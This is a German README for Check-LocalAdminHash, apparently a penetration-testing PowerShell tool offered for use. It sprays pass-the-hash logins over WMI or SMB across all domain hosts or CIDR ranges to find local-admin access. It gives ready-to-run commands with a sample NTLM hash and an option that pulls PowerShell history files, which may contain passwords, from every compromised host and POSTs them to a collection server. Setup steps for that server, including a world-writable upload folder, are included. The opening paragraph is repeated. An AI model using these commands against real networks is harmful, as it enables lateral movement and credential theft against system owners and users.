
Check-LocalAdminHash ist ein PowerShell-Tool, das versucht, sich über WMI oder SMB mit einem Passwort-Hash bei mehreren Hosts zu authentifizieren, um festzustellen, ob die angegebenen Anmeldeinformationen einen lokalen Administrator darstellen. Es ist nützlich, wenn Sie einen Passwort-Hash für einen Benutzer erhalten haben und sehen möchten, wo dieser in einem Netzwerk lokaler Administrator ist. Es ist im Wesentlichen ein Frankenstein aus zwei meiner Lieblingstools zusammen mit etwas eigenem Code. Es verwendet Kevin Robertsons (@kevin_robertson) Invoke-TheHash-Projekt für den Teil zur Überprüfung der Anmeldeinformationen. Zusätzlich nutzt das Skript Module aus PowerView von Will Schroeder (@harmj0y) und Matt Graeber (@mattifestation), um Domänencomputer aufzulisten und Ziele zum Testen des Administratorzugriffs zu finden.
Check-LocalAdminHash ist ein PowerShell-Tool, das versucht, sich über WMI oder SMB mit einem Passwort-Hash bei mehreren Hosts zu authentifizieren, um festzustellen, ob die angegebene Anmeldeinformation ein lokaler Administrator ist. Es ist nützlich, wenn Sie einen Passwort-Hash für einen Benutzer erhalten haben und herausfinden möchten, wo dieser in einem Netzwerk lokaler Administrator ist. Es ist im Wesentlichen ein Frankenstein aus zwei meiner Lieblingswerkzeuge, kombiniert mit etwas eigenem Code. Es verwendet Kevin Robertson (@kevin_robertson) Invoke-TheHash-Projekt für den Teil der Anmeldeinformationsprüfung. Zusätzlich nutzt das Skript Module von PowerView von Will Schroeder (@harmj0y) und Matt Graeber (@mattifestation), um Domänencomputer aufzulisten und Ziele für den Test des Admin-Zugriffs zu finden.
Der Grund, warum dieses Skript überhaupt existiert, ist, dass ich bei einem Assessment alle PowerShell-Konsolenverlaufsdateien (PSReadline) von jedem System im Netzwerk sammeln wollte. Der PSReadline-Konsolenverlauf ist im Wesentlichen die PowerShell-Version des Bash-Verlaufs. Er kann so viele interessante Dinge enthalten, die Benutzer in ihre Terminals eingeben, einschließlich Passwörter. Daher enthält dieses Skript eine Option, um auch alle PSReadline-Dateien zu exfiltrieren. Dafür ist ein wenig Einrichtung erforderlich. Siehe Ende dieser Readme für die Einrichtung.
Weitere Informationen finden Sie im Blog hier: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
Dieser Befehl verwendet die Domäne "testdomain.local", um alle Systeme zu ermitteln und dann versuchen, sich mit dem Benutzer "testdomain.local\PossibleAdminUser" und einem Passwort-Hash über WMI bei jedem anzumelden.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
Dieser Befehl verwendet die Domäne "testdomain.local", um alle Systeme zu ermitteln und dann versuchen, sich mit dem Benutzer "testdomain.local\PossibleAdminUser" und einem Passwort-Hash über WMI bei jedem anzumelden. Anschließend versucht er, PowerShell-Konsolenverlaufsdateien (PSReadline) für jedes Profil auf jedem System zu finden und sie an einen Webserver zu POSTEN. Siehe unten in der Readme für die Servereinrichtung.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
Dieser Befehl verwendet den angegebenen CIDR-Bereich, um eine Zielliste zu erstellen und dann versuchen, sich mit dem lokalen Benutzer 'PossibleAdminUser' und einem Passwort-Hash über WMI bei jedem anzumelden.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
Dieser Befehl verwendet die bereitgestellte Zielliste und versucht, sich mit dem lokalen Benutzer 'PossibleAdminUser' und einem Passwort-Hash über SMB bei jedem Host anzumelden.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
Dieser Befehl versucht, eine lokale Authentifizierung für den Benutzer Administrator auf dem System 192.168.0.16 über SMB durchzuführen.
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - Der Benutzername für den Authentifizierungsversuch.
PasswordHash - Passwort-Hash des Benutzers.
TargetSystem - Ein einzelner Hostname oder eine einzelne IP für den Authentifizierungsversuch.
TargetList - Eine Liste der zu scannenden Hosts, eine pro Zeile.
AllSystems - Ein Schalter, der bei Aktivierung die PowerView-Module verwendet, um alle Domänensysteme aufzulisten. Diese Liste wird dann verwendet, um den lokalen Admin-Zugriff zu prüfen.
Domain - Die Domäne, die PowerView zum Auffinden von Systemen verwendet.
UserDomain - Die Benutzerdomäne für die Authentifizierung bei jedem System. Dieses Flag nicht verwenden, wenn lokale Anmeldeinformationen anstelle von Domänenanmeldeinformationen verwendet werden.
Protocol - Die Einstellung, ob der Hash über WMI oder SMB geprüft werden soll. Standard ist 'WMI', setzen Sie es auf 'SMB', um stattdessen SMB zu prüfen.
CIDR - Geben Sie einen CIDR-ähnlichen Netzwerkbereich an, z. B. 192.168.0.0/24.
Threads - Standardmäßig 5 Threads. (Ich bin auf einige seltsame Probleme gestoßen, wenn ich die Threads auf mehr als 15 gesetzt habe; einige Ergebnisse kamen nicht zurück.)
ExfilPSReadline - Führt auf jedem System, bei dem die Authentifizierung erfolgreich war, einen PowerShell-Befehl aus, um PSReadLine-Konsolenverlaufsdateien (PowerShell-Befehlshistorie) zu suchen und sie dann an einen Webserver zu POSTEN. Siehe Readme für die Servereinrichtung.
Dies ist Ihre Warnung, dass Sie einen Internet-erreichbaren Server einrichten werden, der Datei-Uploads akzeptiert. Normalerweise ist dies eine sehr schlechte Idee. Treffen Sie daher unbedingt Vorsichtsmaßnahmen. Ich empfehle, Firewall-Regeln so einzuschränken, dass nur die IP, die PSReadline-Dateien hochladen wird, auf den Webserver zugreifen kann. Noch ein Punkt zur Sicherheit: Dies funktioniert problemlos mit einer HTTPS-Verbindung, richten Sie daher Ihre Domäne und Ihr Zertifikat so ein, dass die PSReadline-Dateien verschlüsselt über das Netzwerk gesendet werden. Sie sind gewarnt...
Richten Sie einen Server an dem Ort ein, an den die Dateien gesendet werden sollen. Dieser Server muss über HTTP/HTTPS von jedem System erreichbar sein.
Kopieren Sie das index.php-Skript aus diesem Repository und legen Sie es in /index.php im Web-Root (/var/www/html) Ihres Webservers ab.
Erstellen Sie ein Upload-Verzeichnis
mkdir /var/www/html/uploads
chmod 0777 /var/www/html/uploads
apt-get install php
service apache2 restart
Wenn Sie nun Check-LocalAdminHash mit dem Flag -ExfilPSReadline ausführen, sollte versucht werden, jede PSReadline-Datei (sofern vorhanden) an Ihren Webserver zu POSTEN.
Check-LocalAdminHash ist so ziemlich ein Frankenstein aus zwei meiner Lieblingswerkzeuge, PowerView und Invoke-TheHash. 95% des Codes stammen aus diesen beiden Werkzeugen. Die Anerkennung geht daher an Kevin Robertson (@kevin_robertson) für Invoke-TheHash, und an Will Schroeder (@harmj0y), Matt Graeber (@mattifestation) (und alle anderen, die an PowerView gearbeitet haben). Ohne diese beiden Werkzeuge würde dieses Skript nicht existieren. Auch ein großes Dankeschön an Steve Borosh (@424f424f) für die Hilfe beim Threading und dafür, dass er ein rundum großartiger Typ ist.
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1